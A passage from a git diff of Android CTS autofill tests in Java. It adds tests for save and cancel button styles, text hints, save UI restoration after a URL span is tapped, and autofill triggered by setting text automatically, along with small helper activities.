+ negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL);
+ }
+
+ private void negativeSaveButtonStyle(int style) throws Exception {
enableService();
// Set service behavior.
@@ -1928,7 +1975,7 @@
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
- .setNegativeAction(SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT, listener)
+ .setNegativeAction(style, listener)
.build());
// Trigger auto-fill.
@@ -1954,28 +2001,20 @@
}, intentFilter);
// Trigger the negative button.
- mUiBot.saveForAutofill(SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT,
- false, SAVE_DATA_TYPE_PASSWORD);
+ mUiBot.saveForAutofill(style, /* yesDoIt= */ false, SAVE_DATA_TYPE_PASSWORD);
// Wait for the custom action.
assertThat(latch.await(5, TimeUnit.SECONDS)).isTrue();
}
@Test
- public void testCancelStyleNegativeSaveButton() throws Exception {
+ public void testContinueStylePositiveSaveButton() throws Exception {
enableService();
// Set service behavior.
-
- final String intentAction = "android.autofillservice.cts.CUSTOM_ACTION";
-
- // Configure the save UI.
- final IntentSender listener = PendingIntent.getBroadcast(
- mContext, 0, new Intent(intentAction), 0).getIntentSender();
-
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
- .setNegativeAction(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, listener)
+ .setPositiveAction(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE)
.build());
// Trigger auto-fill.
@@ -1990,22 +2029,11 @@
mActivity.tapLogin();
// Start watching for the negative intent
- final CountDownLatch latch = new CountDownLatch(1);
- final IntentFilter intentFilter = new IntentFilter(intentAction);
- mContext.registerReceiver(new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- mContext.unregisterReceiver(this);
- latch.countDown();
- }
- }, intentFilter);
-
// Trigger the negative button.
- mUiBot.saveForAutofill(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
- false, SAVE_DATA_TYPE_PASSWORD);
+ mUiBot.saveForAutofill(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE, SAVE_DATA_TYPE_PASSWORD);
- // Wait for the custom action.
- assertThat(latch.await(500, TimeUnit.SECONDS)).isTrue();
+ // Assert save was called.
+ sReplier.getNextSaveRequest();
}
@Test
@@ -2798,4 +2826,64 @@
mActivity.assertAutoFilled();
mUiBot.assertNoDatasets();
}
+
+ @Test
+ public void testCancelActionButton() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentationWithCancel("The Dude"))
+ .build())
+ .setCancelTargetIds(new int[]{R.id.cancel_fill});
+ sReplier.addResponse(builder.build());
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ mUiBot.assertDatasetsContains("The Dude");
+
+ // Tap cancel button on fill UI
+ mUiBot.selectByRelativeId(ID_CANCEL_FILL);
+ mUiBot.waitForIdle();
+
+ mUiBot.assertNoDatasets();
+
+ // Test and verify auto-fill does not trigger
+ mActivity.onPassword(View::requestFocus);
+ mUiBot.waitForIdle();
+
+ mUiBot.assertNoDatasetsEver();
+
+ // Test and verify auto-fill does not trigger.
+ mActivity.onUsername(View::requestFocus);
+ mUiBot.waitForIdle();
+
+ mUiBot.assertNoDatasetsEver();
+
+ // Reset
+ mActivity.tapClear();
+
+ // Set expectations.
+ final CannedFillResponse.Builder builder2 = new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentationWithCancel("The Dude"))
+ .build())
+ .setCancelTargetIds(new int[]{R.id.cancel});
+ sReplier.addResponse(builder2.build());
+
+ // Trigger auto-fill.
+ mActivity.onPassword(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Verify auto-fill has been triggered.
+ mUiBot.assertDatasetsContains("The Dude");
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
index e612161..d702052 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
@@ -20,8 +20,9 @@
import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
import static android.autofillservice.cts.Helper.ID_USERNAME;
import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.Helper.assertHintFromResources;
import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextFromResouces;
+import static android.autofillservice.cts.Helper.assertTextFromResources;
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
@@ -92,11 +93,17 @@
assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
// Make sure labels were not sanitized
- assertTextFromResouces(fillRequest.structure, ID_USERNAME_LABEL, "Username", false,
+ assertTextFromResources(fillRequest.structure, ID_USERNAME_LABEL, "Username", false,
"username_string");
- assertTextFromResouces(fillRequest.structure, ID_PASSWORD_LABEL, "Password", false,
+ assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "Password", false,
"password_string");
+ // Check text hints
+ assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
+ "username_hint");
+ assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
+ "password_hint");
+
// Auto-fill it.
mUiBot.selectDataset("The Dude");
@@ -130,11 +137,17 @@
assertTextAndValue(password, "dude");
// Make sure labels were not sanitized
- assertTextFromResouces(saveRequest.structure, ID_USERNAME_LABEL, "Username", false,
+ assertTextFromResources(saveRequest.structure, ID_USERNAME_LABEL, "Username", false,
"username_string");
- assertTextFromResouces(saveRequest.structure, ID_PASSWORD_LABEL, "Password", false,
+ assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "Password", false,
"password_string");
+ // Check text hints
+ assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
+ "username_hint");
+ assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
+ "password_hint");
+
// Make sure extras were passed back on onSave()
assertThat(saveRequest.data).isNotNull();
final String extraValue = saveRequest.data.getString("numbers");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
index 681fd1a..e7f26e2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
@@ -141,12 +141,12 @@
// Make LoginActivity to regain window focus and fill ui is expected to show
tapViewAndExpectWindowEvent(loginActivity.getUsername());
- mUiBot.assertDatasets("The Dude");
+ mUiBot.assertNoDatasetsEver();
assertThat(emptyActivity.hasWindowFocus()).isFalse();
// Tap on EmptyActivity and fill ui is gone.
tapViewAndExpectWindowEvent(emptyActivity.getEmptyView());
- mUiBot.assertNoDatasets();
+ mUiBot.assertNoDatasetsEver();
assertThat(emptyActivity.hasWindowFocus()).isTrue();
// LoginActivity username field is still focused but window has no focus
assertThat(loginActivity.getUsername().hasFocus()).isTrue();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
index fd392d5..06191a5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
@@ -20,7 +20,7 @@
import static android.autofillservice.cts.Helper.ID_USERNAME;
import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextFromResouces;
+import static android.autofillservice.cts.Helper.assertTextFromResources;
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
import static android.autofillservice.cts.Helper.assertTextOnly;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
@@ -75,7 +75,7 @@
assertTextIsSanitized(fillRequest.structure, ID_USERNAME_LABEL);
// ...password label should be ok because it was set from other resource id
- assertTextFromResouces(fillRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
+ assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
"new_password_label");
// ...username and password should be ok because they were set in the SML
@@ -94,7 +94,7 @@
// Assert sanitization on save: everything should be available!
assertTextOnly(findNodeByResourceId(saveRequest.structure, ID_USERNAME_LABEL), "DA USER");
- assertTextFromResouces(saveRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
+ assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
"new_password_label");
assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_USERNAME), "malkovich");
assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "malkovich");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SecondActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SecondActivity.java
new file mode 100644
index 0000000..2aa60c9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SecondActivity.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.widget.TextView;
+
+/**
+ * Activity that is used to test restored mechanism will work while running below steps:
+ * 1. Taps span on the save UI to start the ViewActionActivity.
+ * 2. Launches the SecondActivity and immediately finish the ViewActionActivity.
+ * 3. Presses back key on the SecondActivity.
+ * The expected that the save UI should have been restored.
+ */
+public class SecondActivity extends AbstractAutoFillActivity {
+
+ private static SecondActivity sInstance;
+
+ private static final String TAG = "SecondActivity";
+ static final String ID_WELCOME = "welcome";
+ static final String DEFAULT_MESSAGE = "Welcome second activity";
+
+ public SecondActivity() {
+ sInstance = this;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.welcome_activity);
+
+ TextView welcome = (TextView) findViewById(R.id.welcome);
+ welcome.setText(DEFAULT_MESSAGE);
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+
+ Log.v(TAG, "Setting sInstance to null onDestroy()");
+ sInstance = null;
+ }
+
+ static void finishIt() {
+ if (sInstance != null) {
+ sInstance.finish();
+ }
+ }
+
+ static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
+ final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
+ assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
+ .isEqualTo(DEFAULT_MESSAGE);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java
new file mode 100644
index 0000000..8142f3a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleAfterLoginActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Activity that displays a "Finished login activity!" message after login.
+ */
+public class SimpleAfterLoginActivity extends AbstractAutoFillActivity {
+
+ private static final String TAG = "SimpleAfterLoginActivity";
+
+ static final String ID_AFTER_LOGIN = "after_login";
+
+ private static SimpleAfterLoginActivity sCurrentActivity;
+
+ public static SimpleAfterLoginActivity getCurrentActivity() {
+ return sCurrentActivity;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.simple_after_login_activity);
+
+ Log.v(TAG, "Set sCurrentActivity to this onCreate()");
+ sCurrentActivity = this;
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+
+ Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
+ sCurrentActivity = null;
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java
new file mode 100644
index 0000000..e14a6a4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleBeforeLoginActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Activity that displays a "Launch login activity!" message before login.
+ */
+public class SimpleBeforeLoginActivity extends AbstractAutoFillActivity {
+
+ private static final String TAG = "SimpleBeforeLoginActivity";
+
+ static final String ID_BEFORE_LOGIN = "before_login";
+
+ private static SimpleBeforeLoginActivity sCurrentActivity;
+
+ public static SimpleBeforeLoginActivity getCurrentActivity() {
+ return sCurrentActivity;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.simple_before_login_activity);
+
+ Log.v(TAG, "Set sCurrentActivity to this onCreate()");
+ sCurrentActivity = this;
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+
+ Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
+ sCurrentActivity = null;
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index a3b9528..e64ffab 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -17,6 +17,7 @@
import static android.autofillservice.cts.AntiTrimmerTextWatcher.TRIMMER_PATTERN;
import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
import static android.autofillservice.cts.Helper.LARGE_STRING;
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.assertTextValue;
@@ -57,6 +58,9 @@
import android.service.autofill.Validator;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiObject2;
+import android.text.Spannable;
+import android.text.SpannableString;
+import android.text.style.URLSpan;
import android.view.View;
import android.view.autofill.AutofillId;
import android.widget.RemoteViews;
@@ -477,7 +481,7 @@
}
@Test
- public void testSaveThenStartNewSessionRightAway() throws Exception {
+ public void testSaveThenStartNewSessionRightAwayShouldKeepSaveUi() throws Exception {
startActivity();
// Set service.
@@ -501,14 +505,89 @@
// Make sure Save UI for 1st session was shown....
mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
- // ...then start the new session right away (without finishing the activity).
- sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
- mActivity.syncRunOnUiThread(
- () -> mActivity.getAutofillManager().requestAutofill(mActivity.mInput));
+ // Start new Activity to have a new autofill session
+ startActivityOnNewTask(LoginActivity.class);
+
+ // Make sure LoginActivity started...
+ mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "id")
+ .setField(ID_PASSWORD, "pwd")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+ // Trigger fill request on the LoginActivity
+ final LoginActivity act = LoginActivity.getCurrentActivity();
+ act.syncRunOnUiThread(() -> act.forceAutofillOnUsername());
sReplier.getNextFillRequest();
+ // Make sure Fill UI is not shown. And Save UI for 1st session was still shown.
+ mUiBot.assertNoDatasetsEver();
+ sReplier.assertNoUnhandledFillRequests();
+ mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ mUiBot.waitForIdle();
+ // Trigger dismiss Save UI
+ mUiBot.pressBack();
+
+ // Make sure Save UI was not shown....
+ mUiBot.assertSaveNotShowing();
+ // Make sure Fill UI is shown.
+ mUiBot.assertDatasets("YO");
+ }
+
+ @Test
+ public void testCloseSaveUiThenStartNewSessionRightAway() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+
+ // Make sure Save UI for 1st session was shown....
+ mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Trigger dismiss Save UI
+ mUiBot.pressBack();
+
// Make sure Save UI for 1st session was canceled.
mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // ...then start the new session right away (without finishing the activity).
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("");
+ mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+ });
+ sReplier.getNextFillRequest();
+
+ // Make sure Fill UI is shown.
+ mUiBot.assertDatasets("YO");
}
@Test
@@ -812,7 +891,6 @@
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-
}
@Override
@@ -1356,6 +1434,136 @@
mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
}
+ enum SetTextCondition {
+ NORMAL,
+ HAS_SESSION,
+ EMPTY_TEXT,
+ FOCUSED,
+ NOT_IMPORTANT_FOR_AUTOFILL,
+ INVISIBLE
+ }
+
+ /**
+ * Tests scenario when a text field's text is set automatically, it should trigger autofill and
+ * show Save UI.
+ */
+ @Test
+ public void testShowSaveUiWhenSetTextAutomatically() throws Exception {
+ triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.NORMAL);
+ }
+
+ /**
+ * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+ * when there is an existing session.
+ */
+ @Test
+ public void testNotTriggerAutofillWhenSetTextWhileSessionExists() throws Exception {
+ triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.HAS_SESSION);
+ }
+
+ /**
+ * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+ * when the text is empty.
+ */
+ @Test
+ public void testNotTriggerAutofillWhenSetTextWhileEmptyText() throws Exception {
+ triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.EMPTY_TEXT);
+ }
+
+ /**
+ * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+ * when the field is focused.
+ */
+ @Test
+ public void testNotTriggerAutofillWhenSetTextWhileFocused() throws Exception {
+ triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.FOCUSED);
+ }
+
+ /**
+ * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+ * when the field is not important for autofill.
+ */
+ @Test
+ public void testNotTriggerAutofillWhenSetTextWhileNotImportantForAutofill() throws Exception {
+ triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.NOT_IMPORTANT_FOR_AUTOFILL);
+ }
+
+ /**
+ * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+ * when the field is not visible.
+ */
+ @Test
+ public void testNotTriggerAutofillWhenSetTextWhileInvisible() throws Exception {
+ triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.INVISIBLE);
+ }
+
+ private void triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition condition)
+ throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ CharSequence inputText = "108";
+
+ switch (condition) {
+ case NORMAL:
+ // Nothing.
+ break;
+ case HAS_SESSION:
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("100");
+ });
+ sReplier.getNextFillRequest();
+ break;
+ case EMPTY_TEXT:
+ inputText = "";
+ break;
+ case FOCUSED:
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.requestFocus();
+ });
+ sReplier.getNextFillRequest();
+ break;
+ case NOT_IMPORTANT_FOR_AUTOFILL:
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO);
+ });
+ break;
+ case INVISIBLE:
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setVisibility(View.INVISIBLE);
+ });
+ break;
+ default:
+ throw new IllegalArgumentException("invalid condition: " + condition);
+ }
+
+ // Trigger autofill by setting text.
+ final CharSequence text = inputText;
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText(text);
+ });
+
+ if (condition == SetTextCondition.NORMAL) {
+ sReplier.getNextFillRequest();
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("100");
+ mActivity.mCommit.performClick();
+ });
+
+ mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+ } else {
+ sReplier.assertOnFillRequestNotCalled();
+ }
+ }
+
@Test
public void testExplicitySaveButton() throws Exception {
explicitySaveButtonTest(false, 0);
@@ -1477,4 +1685,168 @@
WelcomeActivity.assertShowingDefaultMessage(mUiBot);
mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
}
+
+ enum DescriptionType {
+ SUCCINCT,
+ CUSTOM,
+ }
+
+ /**
+ * Tests scenarios when user taps a span in the custom description, then the new activity
+ * finishes:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public void testTapUrlSpanOnCustomDescription_thenTapBack() throws Exception {
+ saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
+ ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
+ }
+
+ /**
+ * Tests scenarios when user taps a span in the succinct description, then the new activity
+ * finishes:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public void testTapUrlSpanOnSuccinctDescription_thenTapBack() throws Exception {
+ saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
+ ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
+ }
+
+ /**
+ * Tests scenarios when user taps a span in the custom description, then the new activity
+ * starts an another activity then it finishes:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public void testTapUrlSpanOnCustomDescription_forwardAnotherActivityThenTapBack()
+ throws Exception {
+ saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
+ ViewActionActivity.ActivityCustomAction.FAST_FORWARD_ANOTHER_ACTIVITY);
+ }
+
+ /**
+ * Tests scenarios when user taps a span in the succinct description, then the new activity
+ * starts an another activity then it finishes:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public void testTapUrlSpanOnSuccinctDescription_forwardAnotherActivityThenTapBack()
+ throws Exception {
+ saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
+ ViewActionActivity.ActivityCustomAction.FAST_FORWARD_ANOTHER_ACTIVITY);
+ }
+
+ /**
+ * Tests scenarios when user taps a span in the custom description, then the new activity
+ * stops but does not finish:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public void testTapUrlSpanOnCustomDescription_tapBackWithoutFinish() throws Exception {
+ saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
+ ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
+ }
+
+ /**
+ * Tests scenarios when user taps a span in the succinct description, then the new activity
+ * stops but does not finish:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public void testTapUrlSpanOnSuccinctDescription_tapBackWithoutFinish() throws Exception {
+ saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
+ ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
+ }
+
+ private void saveUiRestoredAfterTappingSpanTest(
+ DescriptionType type, ViewActionActivity.ActivityCustomAction action) throws Exception {
+ startActivity();
+ // Set service.
+ enableService();
+
+ switch (type) {
+ case SUCCINCT:
+ // Set expectations with custom description.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .setSaveDescription(newDescriptionWithUrlSpan(action.toString()))
+ .build());
+ break;
+ case CUSTOM:
+ // Set expectations with custom description.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .setSaveInfoVisitor((contexts, builder) -> builder
+ .setCustomDescription(
+ newCustomDescriptionWithUrlSpan(action.toString())))
+ .build());
+ break;
+ default:
+ throw new IllegalArgumentException("invalid type: " + type);
+ }
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+
+ mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Tapping URLSpan.
+ final URLSpan span = mUiBot.findFirstUrlSpanWithText("Here is URLSpan");
+ span.onClick(/* unused= */ null);
+
+ mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // .. check activity show up as expected
+ switch (action) {
+ case FAST_FORWARD_ANOTHER_ACTIVITY:
+ // Show up second activity.
+ SecondActivity.assertShowingDefaultMessage(mUiBot);
+ break;
+ case NORMAL_ACTIVITY:
+ case TAP_BACK_WITHOUT_FINISH:
+ // Show up view action handle activity.
+ ViewActionActivity.assertShowingDefaultMessage(mUiBot);
+ break;
+ default:
+ throw new IllegalArgumentException("invalid action: " + action);
+ }
+
+ // ..then go back and save it.
+ mUiBot.pressBack();
+
+ // Make sure previous activity is back...
+ mUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // ... and tap save.
+ final UiObject2 newSaveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+ mUiBot.saveForAutofill(newSaveUi, /* yesDoIt= */ true);
+
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+
+ SecondActivity.finishIt();
+ ViewActionActivity.finishIt();
+ }
+
+ private CustomDescription newCustomDescriptionWithUrlSpan(String action) {
+ final RemoteViews presentation = newTemplate();
+ presentation.setTextViewText(R.id.custom_text, newDescriptionWithUrlSpan(action));
+ return new CustomDescription.Builder(presentation).build();
+ }
+
+ private CharSequence newDescriptionWithUrlSpan(String action) {
+ final String url = "autofillcts:" + action;
+ final SpannableString ss = new SpannableString("Here is URLSpan");
+ ss.setSpan(new URLSpan(url),
+ /* start= */ 8, /* end= */ 15, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
+ return ss;
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index ff884ce..9287e71 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -24,9 +24,12 @@
